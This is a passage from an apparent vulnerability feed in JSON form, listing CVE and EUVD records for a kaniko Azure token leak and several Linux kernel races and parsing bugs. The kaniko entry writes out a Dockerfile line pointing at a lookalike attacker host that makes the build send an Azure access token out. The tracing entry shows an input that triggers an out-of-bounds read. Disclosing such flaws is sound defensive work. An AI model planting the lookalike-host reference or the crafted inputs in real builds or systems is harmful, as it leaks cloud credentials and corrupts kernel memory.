kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","cvss":9.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/chainguard-forks/kaniko/pull/495","https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20","https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97","https://github.com/chrismellard/docker-credential-acr-env/issues/21","https://pkg.go.dev/vuln/GO-2026-6225"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T17:17:32","euvd":{"id":"EUVD-2026-115331","description":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","published_time":"2026-11-02T16:49:24","cvss":9.3,"cvss_version":"3.1","epss":0.0,"assigner":"chainguard","references":["https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97","https://github.com/chainguard-forks/kaniko/pull/495","https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20","https://github.com/chrismellard/docker-credential-acr-env/issues/21","https://pkg.go.dev/vuln/GO-2026-6225"],"products":["kaniko"],"vendors":["Chainguard"]},"ghsa":null},{"cve_id":"CVE-2026-99242","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: fix race between fallocate and mmap reads\n\nThe fallocate implementation only takes invalidate_lock for punch hole,\ncollapse range, and insert range operations. For standard allocation modes\n(mode == 0, FALLOC_FL_KEEP_SIZE), the lock is not held.\n\nDuring ntfs_attr_fallocate(), new clusters are mapped to the runlist via\nntfs_attr_map_cluster() before being zeroed by ntfs_dio_zero_range(). This\ncreates a window where concurrent mmap page faults can read uninitialized\ndisk data.\n\nSince mmap uses filemap_fault() which takes invalidate_lock in shared mode,\nit can fault in pages during this window and expose old disk contents to\nuserspace. This is an information leak and data integrity issue.\n\nFix by taking invalidate_lock for all fallocate operations, not just for\npunch/collapse/insert modes. This prevents concurrent page faults from\naccessing unzeroed clusters during the allocation window.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/67aded1da114dc44808315f249bd9e7e440f799d","https://git.kernel.org/stable/c/7dd1c2fec6ebdd1a88a02cb58ff515a258eeb327"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:50","euvd":{"id":"EUVD-2026-115284","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: fix race between fallocate and mmap reads\n\nThe fallocate implementation only takes invalidate_lock for punch hole,\ncollapse range, and insert range operations. For standard allocation modes\n(mode == 0, FALLOC_FL_KEEP_SIZE), the lock is not held.\n\nDuring ntfs_attr_fallocate(), new clusters are mapped to the runlist via\nntfs_attr_map_cluster() before being zeroed by ntfs_dio_zero_range(). This\ncreates a window where concurrent mmap page faults can read uninitialized\ndisk data.\n\nSince mmap uses filemap_fault() which takes invalidate_lock in shared mode,\nit can fault in pages during this window and expose old disk contents to\nuserspace. This is an information leak and data integrity issue.\n\nFix by taking invalidate_lock for all fallocate operations, not just for\npunch/collapse/insert modes. This prevents concurrent page faults from\naccessing unzeroed clusters during the allocation window.","published_time":"2026-11-02T16:06:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/7dd1c2fec6ebdd1a88a02cb58ff515a258eeb327","https://git.kernel.org/stable/c/67aded1da114dc44808315f249bd9e7e440f799d"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99241","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: take invalidate_lock in ntfs_filemap_page_mkwrite()\n\nntfs_filemap_page_mkwrite() calls iomap_page_mkwrite() without holding\nmapping->invalidate_lock, so a concurrent truncate or fallocate can be\nin the middle of invalidating pagecache and rewriting the runlist while\nthe write fault maps blocks and dirties the folio.  This races with\nntfs_attr_fallocate(), which merges clusters into the in-memory\nrunlist, drops the runlist lock, and only afterwards zeroes the newly\nallocated clusters on disk; and with the punch-hole/insert/collapse\npaths that free clusters after truncating the cache.\n\nPer Documentation/filesystems/locking.rst, ->page_mkwrite() must ensure\nthere are no truncate/invalidate races, \"usually mapping->invalidate_lock\nis suitable for proper serialization\".  xfs takes its mmaplock (= the\ninvalidate_lock rwsem) shared in exactly this path.\n\nTake invalidate_lock shared around iomap_page_mkwrite().  The read-only\nfault path is already covered because filemap_fault() itself grabs\ninvalidate_lock shared on instantiation/read paths; only page_mkwrite\nwas bypassing it in this driver.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0fecc393f2060e6bc25138df32cb923ec7071c6b","https://git.kernel.org/stable/c/57c0d5281666d150c73e56e6795a4eef3ede8693"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:49","euvd":{"id":"EUVD-2026-115283","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: take invalidate_lock in ntfs_filemap_page_mkwrite()\n\nntfs_filemap_page_mkwrite() calls iomap_page_mkwrite() without holding\nmapping->invalidate_lock, so a concurrent truncate or fallocate can be\nin the middle of invalidating pagecache and rewriting the runlist while\nthe write fault maps blocks and dirties the folio.  This races with\nntfs_attr_fallocate(), which merges clusters into the in-memory\nrunlist, drops the runlist lock, and only afterwards zeroes the newly\nallocated clusters on disk; and with the punch-hole/insert/collapse\npaths that free clusters after truncating the cache.\n\nPer Documentation/filesystems/locking.rst, ->page_mkwrite() must ensure\nthere are no truncate/invalidate races, \"usually mapping->invalidate_lock\nis suitable for proper serialization\".  xfs takes its mmaplock (= the\ninvalidate_lock rwsem) shared in exactly this path.\n\nTake invalidate_lock shared around iomap_page_mkwrite().  The read-only\nfault path is already covered because filemap_fault() itself grabs\ninvalidate_lock shared on instantiation/read paths; only page_mkwrite\nwas bypassing it in this driver.","published_time":"2026-11-02T16:06:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/57c0d5281666d150c73e56e6795a4eef3ede8693","https://git.kernel.org/stable/c/0fecc393f2060e6bc25138df32cb923ec7071c6b"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99236","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Reject incomplete event filter expressions\n\nA non-empty expression normally finishes in predicate_parse()'s inner\nloop, which resolves the pending logical operators before jumping to\nfinalization. If the input ends after an operator, possibly followed by\nunary '!' tokens, the outer loop instead falls through with unresolved\noperator state.\n\nFor example, \"common_pid == 1 || common_pid == 2 &&\" leaves\nprog[0].target equal to -1. The second pass then reads prog[-1] before\nthe forward-jump check can reject it. Depending on adjacent slab\ncontents, it can also copy an out-of-bounds word into a branch target\nthat passes the forward-only check. A self-targeted perf tracepoint\ncounting event can reach this path through PERF_EVENT_IOC_SET_FILTER.\n\nReject the outer-loop fallthrough when a predicate has already been\nparsed. This ensures that non-empty expressions only reach finalization\nafter the inner loop has resolved their operators. Keep the existing\nno-filter error for input that has no predicates. Add a regression test\nfor trailing logical operators and unary negations.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01883,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/1008e9e0b8280d47f1ab5e9c113f666a023a9697","https://git.kernel.org/stable/c/15ff3cc7f2beecc3f95d66358f20ad7b057466aa","https://git.kernel.org/stable/c/1fdc4164e488916402badddbb1f51e9380dabb91","https://git.kernel.org/stable/c/2a98f5d4913ec081e08e1075512cb7ec313d9f72","https://git.kernel.org/stable/c/4a1a6d35359991c5d47f4bf101cfbe1475c94093","https://git.kernel.org/stable/c/5a999b5a16530898f0dbe5f8c50fd45ea72e110b","https://git.kernel.org/stable/c/5bcdf3c18c3471122ee9652b0e2f5cdb718d9a46","https://git.kernel.org/stable/c/64993d970dde2a2da353e9e99595a4fa88ec27d9","https://git.kernel.org/stable/c/b205ff58e02922ac324f931cf9eb238a3acdb048"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:49","euvd":{"id":"EUVD-2026-115278","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Reject incomplete event filter expressions\n\nA non-empty expression normally finishes in predicate_parse()'s inner\nloop, which resolves the pending logical operators before jumping to\nfinalization. If the input ends after an operator, possibly followed by\nunary '!' tokens, the outer loop instead falls through with unresolved\noperator state.\n\nFor example, \"common_pid == 1 || common_pid == 2 &&\" leaves\nprog[0].target equal to -1. The second pass then reads prog[-1] before\nthe forward-jump check can reject it. Depending on adjacent slab\ncontents, it can also copy an out-of-bounds word into a branch target\nthat passes the forward-only check. A self-targeted perf tracepoint\ncounting event can reach this path through PERF_EVENT_IOC_SET_FILTER.\n\nReject the outer-loop fallthrough when a predicate has already been\nparsed. This ensures that non-empty expressions only reach finalization\nafter the inner loop has resolved their operators. Keep the existing\nno-filter error for input that has no predicates. Add a regression test\nfor trailing logical operators and unary negations.","published_time":"2026-11-02T16:06:41","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/4a1a6d35359991c5d47f4bf101cfbe1475c94093","https://git.kernel.org/stable/c/2a98f5d4913ec081e08e1075512cb7ec313d9f72","https://git.kernel.org/stable/c/15ff3cc7f2beecc3f95d66358f20ad7b057466aa","https://git.kernel.org/stable/c/b205ff58e02922ac324f931cf9eb238a3acdb048","https://git.kernel.org/stable/c/5a999b5a16530898f0dbe5f8c50fd45ea72e110b","https://git.kernel.org/stable/c/1008e9e0b8280d47f1ab5e9c113f666a023a9697","https://git.kernel.org/stable/c/64993d970dde2a2da353e9e99595a4fa88ec27d9","https://git.kernel.org/stable/c/5bcdf3c18c3471122ee9652b0e2f5cdb718d9a46","https://git.kernel.org/stable/c/1fdc4164e488916402badddbb1f51e9380dabb91"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99237","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Hold trace_types_lock when resetting last boot data from readers\n\nupdate_last_data_if_empty() is called from tracing_open() with O_TRUNC,\ntracing_read_pipe() and tracing_buffers_read() without trace_types_lock.\nTwo readers can both pass the LAST_BOOT test and free module_delta\ntwice, and a module notifier can update module_delta while it is being\nfreed.\n\nTake trace_types_lock in those paths and keep the callers that already\nhold it on an unlocked variant.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00119,"ranking_epss":0.01756,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/1f06cfe0b60a878619d1d8efe1cd0f515b7dc2aa","https://git.kernel.org/stable/c/5a6bd62f09147b49b31fd19d4eba122cb5f941a1","https://git.kernel.org/stable/c/92b69f6db640dadc0851762ee2e12db99f083cad","https://git.kernel.org/stable/c/d6d991afe775ab7fcf89523a2502b7ca3be56ffd"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:49","euvd":{"id":"EUVD-2026-115279","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Hold trace_types_lock when resetting last boot data from readers\n\nupdate_last_data_if_empty() is called from tracing_open() with O_TRUNC,\ntracing_read_pipe() and tracing_buffers_read() without trace_types_lock.\nTwo readers can both pass the LAST_BOOT test and free module_delta\ntwice, and a module notifier can update module_delta while it is being\nfreed.\n\nTake trace_types_lock in those paths and keep the callers that already\nhold it on an unlocked variant.","published_time":"2026-11-02T16:06:42","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/92b69f6db640dadc0851762ee2e12db99f083cad","https://git.kernel.org/stable/c/d6d991afe775ab7fcf89523a2502b7ca3be56ffd","https://git.kernel.org/stable/c/1f06cfe0b60a878619d1d8efe1cd0f515b7dc2aa","https://git.kernel.org/stable/c/5a6bd62f09147b49b31fd19d4eba122cb5f941a1"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99238","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Hold trace_types_lock when updating modules in persistent instances\n\ntrace_module_record() walks ftrace_trace_arrays from the module notifier\nwithout trace_types_lock. A concurrent rmdir of an instance removes it\nfrom the list and frees it under that lock, so a module load or unload\ncan walk into a freed trace_array.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00119,"ranking_epss":0.01756,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/244c442f54601a24c86ad90572bf36fc3df41c5e","https://git.kernel.org/stable/c/57408eac99b0d8a005796346d317d31f0ca4e07a","https://git.kernel.org/stable/c/66877a312ae3c2c3d849e82e882f642ffd4ec3e2","https://git.kernel.org/stable/c/dab2bd4d67ad5eaa95019a9511f8d379401b5021"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:49","euvd":{"id":"EUVD-2026-115280","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Hold trace_types_lock when updating modules in persistent instances\n\ntrace_module_record() walks ftrace_trace_arrays from the module notifier\nwithout trace_types_lock. A concurrent rmdir of an instance removes it\nfrom the list and frees it under that lock, so a module load or unload\ncan walk into a freed trace_array.","published_time":"2026-11-02T16:06:42","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/57408eac99b0d8a005796346d317d31f0ca4e07a","https://git.kernel.org/stable/c/dab2bd4d67ad5eaa95019a9511f8d379401b5021","https://git.kernel.org/stable/c/244c442f54601a24c86ad90572bf36fc3df41c5e","https://git.kernel.org/stable/c/66877a312ae3c2c3d849e82e882f642ffd4ec3e2"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99239","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn\n\nl2cap_chan may be linked to l2cap_conn at most once. This is assumed in\nseveral places, eg l2cap_chan_del cleanup.\n\nThere is a TOCTOU race where the invariant is violated:\n\n    [Task 1]                          [Task 2]\n    l2cap_chan_connect                l2cap_sock_bind\n      l2cap_chan_lock                   lock_sock\n      l2cap_state_change                if (sk->sk_state != BT_OPEN)\n        chan->state = BT_CONNECT\n        l2cap_sock_state_change_cb      chan->state = BT_BOUND\n                                        sk->sk_state = BT_BOUND\n          lock_sock <------------------ release_sock\n          sk->sk_state = BT_CONNECT\n\nl2cap_sock_connect() does not check sk->sk_state, so since chan->state\nis now BT_BOUND, subsequent connect() ends up with second\n__l2cap_chan_add.\n\nExplicitly document and check the invariant in __l2cap_chan_add with\nWARN_ON_ONCE. The only callsite where it could be hit is\nl2cap_chan_connect, so add pre-check there to avoid relying on\nchan->state. chan->state read/write is not properly guarded currently so\nthere can be other TOCTOUC problems.\n\nAdd l2cap_lock_chan in l2cap_sock_bind() to guard chan->state write.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01882,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/10c705dd706aa93164ba41f2566f15206d6c178e","https://git.kernel.org/stable/c/52fe88e4ef87311eee32b45c65603e7c69e75e7d","https://git.kernel.org/stable/c/73820561d8cbfd3364a29b8fa77f1707f26029da","https://git.kernel.org/stable/c/820579652b24ce277e0097cd65b42bd9b7b8bf07","https://git.kernel.org/stable/c/85cc289eb08afa975375f838187369e68b429ee0","https://git.kernel.org/stable/c/86b55991d3cd690e73c5ef8d20b75ae4905b357a","https://git.kernel.org/stable/c/d3afd7803f9bc2a8c4270199497b60158b2fc647","https://git.kernel.org/stable/c/e618d928ec7f88cbeadfa3542adcac40f474e629","https://git.kernel.org/stable/c/fabaff1c59ff2cc89cb7e5bd0186a5e15f0c73b2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:49","euvd":{"id":"EUVD-2026-115281","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn\n\nl2cap_chan may be linked to l2cap_conn at most once. This is assumed in\nseveral places, eg l2cap_chan_del cleanup.\n\nThere is a TOCTOU race where the invariant is violated:\n\n    [Task 1]                          [Task 2]\n    l2cap_chan_connect                l2cap_sock_bind\n      l2cap_chan_lock                   lock_sock\n      l2cap_state_change                if (sk->sk_state != BT_OPEN)\n        chan->state = BT_CONNECT\n        l2cap_sock_state_change_cb      chan->state = BT_BOUND\n                                        sk->sk_state = BT_BOUND\n          lock_sock <------------------ release_sock\n          sk->sk_state = BT_CONNECT\n\nl2cap_sock_connect() does not check sk->sk_state, so since chan->state\nis now BT_BOUND, subsequent connect() ends up with second\n__l2cap_chan_add.\n\nExplicitly document and check the invariant in __l2cap_chan_add with\nWARN_ON_ONCE. The only callsite where it could be hit is\nl2cap_chan_connect, so add pre-check there to avoid relying on\nchan->state. chan->state read/write is not properly guarded currently so\nthere can be other TOCTOUC problems.\n\nAdd l2cap_lock_chan in l2cap_sock_bind() to guard chan->state write.","published_time":"2026-11-02T16:06:43","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/85cc289eb08afa975375f838187369e68b429ee0","https://git.kernel.org/stable/c/820579652b24ce277e0097cd65b42bd9b7b8bf07","https://git.kernel.org/stable/c/e618d928ec7f88cbeadfa3542adcac40f474e629","https://git.kernel.org/stable/c/fabaff1c59ff2cc89cb7e5bd0186a5e15f0c73b2","https://git.kernel.org/stable/c/52fe88e4ef87311eee32b45c65603e7c69e75e7d","https://git.kernel.org/stable/c/10c705dd706aa93164ba41f2566f15206d6c178e","https://git.kernel.org/stable/c/73820561d8cbfd3364a29b8fa77f1707f26029da","https://git.kernel.org/stable/c/d3afd7803f9bc2a8c4270199497b60158b2fc647","https://git.kernel.org/stable/c/86b55991d3cd690e73c5ef8d20b75ae4905b357a"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99240","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/core: error damos_commit_quota_goal() for zero target_value\n\nPatch series \"mm/damon: move zero damos quota target_value handling to the\ncore layer\".\n\nHaving zero DAMOS quota target value can cause division by zero.  DAMON\nAPI callers are checking the target value parameters to avoid that.  It is\neasy to make mistakes in some of the multiple API callers.  Move that to\nthe core layer.\n\nPatch 1 adds the corner case handling into the core layer DAMON parameters\nvalidation logic.  Patches 2 and 3 remove no more needed DAMON API callers\nside handling of the corner case in DAMON_LRU_SORT and DMON_SAMPLIE_MTIER,\nrespectively.\n\n\nThis patch (of 3):\n\nIf a DAMOS scheme has a damos_quota_goal of zero target_value,\ndamos_quota_goal() could trigger division-by-zero error.  Hence each DAMON\nAPI callers should do the zero target_value validation.  It is easy to\nmake mistakes.  Actually such bugs in DAMON_LRU_SORT and\nDAMON_SAMPLE_MTIER were found and fixed [1].\n\nIt is better to handle the corner case only once in the core layer,\ninstead of multiple places in all DAMON API callers.  One straightforward\noption is using an alternative denominator for the corner case in the\ndamos_quota_goal().  However, the zero target_value is meaningless.  In\nthis case, the quota goal is always evaluated as achieved or\nover-achieved.  The quota will only keep being reduced.\n\nSimply avoid using zero target_value by adding a check in the core layer\nDAMOS quota goal parameters validation/commit path,\ndamos_commit_quota_goal().  Update it to return an error in the case. \nAlso update its caller to propagate the error.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00155,"ranking_epss":0.04646,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/156aeda4d74e9007b56492ed1f3b5838822632be","https://git.kernel.org/stable/c/610c4438fb66e06d9e693c0ad3b2c1be54c0d61f","https://git.kernel.org/stable/c/cc190c4073f570fd78a9d00dd3d13a71eced5403","https://git.kernel.org/stable/c/d5482be6243b816730689099c017109eb8730dd5"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:49","euvd":{"id":"EUVD-2026-115282","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/core: error damos_commit_quota_goal() for zero target_value\n\nPatch series \"mm/damon: move zero damos quota target_value handling to the\ncore layer\".\n\nHaving zero DAMOS quota target value can cause division by zero.  DAMON\nAPI callers are checking the target value parameters to avoid that.  It is\neasy to make mistakes in some of the multiple API callers.  Move that to\nthe core layer.\n\nPatch 1 adds the corner case handling into the core layer DAMON parameters\nvalidation logic.  Patches 2 and 3 remove no more needed DAMON API callers\nside handling of the corner case in DAMON_LRU_SORT and DMON_SAMPLIE_MTIER,\nrespectively.\n\n\nThis patch (of 3):\n\nIf a DAMOS scheme has a damos_quota_goal of zero target_value,\ndamos_quota_goal() could trigger division-by-zero error.  Hence each DAMON\nAPI callers should do the zero target_value validation.  It is easy to\nmake mistakes.  Actually such bugs in DAMON_LRU_SORT and\nDAMON_SAMPLE_MTIER were found and fixed [1].\n\nIt is better to handle the corner case only once in the core layer,\ninstead of multiple places in all DAMON API callers.  One straightforward\noption is using an alternative denominator for the corner case in the\ndamos_quota_goal().  However, the zero target_value is meaningless.  In\nthis case, the quota goal is always evaluated as achieved or\nover-achieved.  The quota will only keep being reduced.\n\nSimply avoid using zero target_value by adding a check in the core layer\nDAMOS quota goal parameters validation/commit path,\ndamos_commit_quota_goal().  Update it to return an error in the case. \nAlso update its caller to propagate the error.","published_time":"2026-11-02T16:06:43","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/d5482be6243b816730689099c017109eb8730dd5","https://git.kernel.org/stable/c/cc190c4073f570fd78a9d00dd3d13a71eced5403","https://git.kernel.org/stable/c/156aeda4d74e9007b56492ed1f3b5838822632be","https://git.kernel.org/stable/c/610c4438fb66e06d9e693c0ad3b2c1be54c0d61f"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99231","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: own the request before clearing ->head\n\nio_waitid_remove_wq() only takes the wait queue lock if ->head is set.\nio_waitid_wait() clears ->head first thing, before it tries to become the\nowner of the request by bumping ->refs. If somebody else owns the request\nat that point, nothing keeps it from completing the request while the\nwake up handler is still going to touch it:\n\nCPU0 (io_waitid_wait)                 CPU1 (io_waitid, holds a ref)\nlist_del_init(&wait->entry)\nsmp_store_release(&iw->head, NULL)\n                                      __do_wait() finds another child\n                                      io_waitid_remove_wq()\n                                        // ->head == NULL, no locking\n                                      io_waitid_finish(), IOU_COMPLETE\n                                      // request freed and reused\natomic_fetch_inc(&iw->refs)\n\nThe same goes for __io_waitid_cancel() if it claims the request in that\nwindow. ->refs is part of the per opcode data of the request, so this\nincrements whatever the next user of the request keeps there. If that\nhappens to be zero, the handler concludes that it owns the request, and\nqueues io_waitid_cb() for it. With the window held open by a delay, and\nthe request reused for a receive that is waiting for data:\n\n  BUG: KASAN: slab-use-after-free in __wake_up_common+0x1ca/0x1f0\n   __wake_up_sync_key+0x36/0x50\n   sock_def_readable+0xf1/0x420\n   unix_stream_sendmsg+0x60b/0x1110\n  Allocated by task 87:\n   io_arm_apoll+0x1ed/0x940\n  Freed by task 87:\n   __io_submit_flush_completions+0x118d/0x1a10\n   tctx_task_work_run+0x327/0x950\n\nOnly clear ->head once the handler owns the request. If it doesn't, the\nowner finds ->head set and has to wait for the lock, which is held by the\ncaller of the handler. Deleting the already deleted entry again is\nharmless.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00115,"ranking_epss":0.01578,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/8381a912c65b8de16e8a848225c7c5a56b6ea834","https://git.kernel.org/stable/c/bf01da1a9cca4a54e5c30b8344e52c26afb87be7","https://git.kernel.org/stable/c/c10ad2813e15186fb51b37a4d17fafddc99e89a5","https://git.kernel.org/stable/c/c254eec4364b9f4b4cbdce43be3fb4df5a651a70"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:48","euvd":{"id":"EUVD-2026-115273","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: own the request before clearing ->head\n\nio_waitid_remove_wq() only takes the wait queue lock if ->head is set.\nio_waitid_wait() clears ->head first thing, before it tries to become the\nowner of the request by bumping ->refs. If somebody else owns the request\nat that point, nothing keeps it from completing the request while the\nwake up handler is still going to touch it:\n\nCPU0 (io_waitid_wait)                 CPU1 (io_waitid, holds a ref)\nlist_del_init(&wait->entry)\nsmp_store_release(&iw->head, NULL)\n                                      __do_wait() finds another child\n                                      io_waitid_remove_wq()\n                                        // ->head == NULL, no locking\n                                      io_waitid_finish(), IOU_COMPLETE\n                                      // request freed and reused\natomic_fetch_inc(&iw->refs)\n\nThe same goes for __io_waitid_cancel() if it claims the request in that\nwindow. ->refs is part of the per opcode data of the request, so this\nincrements whatever the next user of the request keeps there. If that\nhappens to be zero, the handler concludes that it owns the request, and\nqueues io_waitid_cb() for it. With the window held open by a delay, and\nthe request reused for a receive that is waiting for data:\n\n  BUG: KASAN: slab-use-after-free in __wake_up_common+0x1ca/0x1f0\n   __wake_up_sync_key+0x36/0x50\n   sock_def_readable+0xf1/0x420\n   unix_stream_sendmsg+0x60b/0x1110\n  Allocated by task 87:\n   io_arm_apoll+0x1ed/0x940\n  Freed by task 87:\n   __io_submit_flush_completions+0x118d/0x1a10\n   tctx_task_work_run+0x327/0x950\n\nOnly clear ->head once the handler owns the request. If it doesn't, the\nowner finds ->head set and has to wait for the lock, which is held by the\ncaller of the handler. Deleting the already deleted entry again is\nharmless.","published_time":"2026-11-02T16:06:38","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/bf01da1a9cca4a54e5c30b8344e52c26afb87be7","https://git.kernel.org/stable/c/8381a912c65b8de16e8a848225c7c5a56b6ea834","https://git.kernel.org/stable/c/c10ad2813e15186fb51b37a4d17fafddc99e89a5","https://git.kernel.org/stable/c/c254eec4364b9f4b4cbdce43be3fb4df5a651a70"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99232","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/syscalls: Use copy_from_user for the faultable syscall buffer\n\nsyscall_copy_user_array() copies the buffer argument of faultable\nsyscalls (write, pwrite64, ...) with __copy_from_user(), which skips\naccess_ok(). Use copy_from_user() instead so a non-user address is\nrejected and the entry is recorded as faulted.\n\nIt could be a security concern for machines that trust perf a bit too\nmuch.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00145,"ranking_epss":0.03792,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/041d1a568a11a7ed7415ef1408d0c65041c1ad69","https://git.kernel.org/stable/c/097fd0050089df17b032f2b852b9b65e548e342a","https://git.kernel.org/stable/c/e33e2718c62a602001ab549642a1aed0be797105"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:48","euvd":{"id":"EUVD-2026-115274","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/syscalls: Use copy_from_user for the faultable syscall buffer\n\nsyscall_copy_user_array() copies the buffer argument of faultable\nsyscalls (write, pwrite64, ...) with __copy_from_user(), which skips\naccess_ok(). Use copy_from_user() instead so a non-user address is\nrejected and the entry is recorded as faulted.\n\nIt could be a 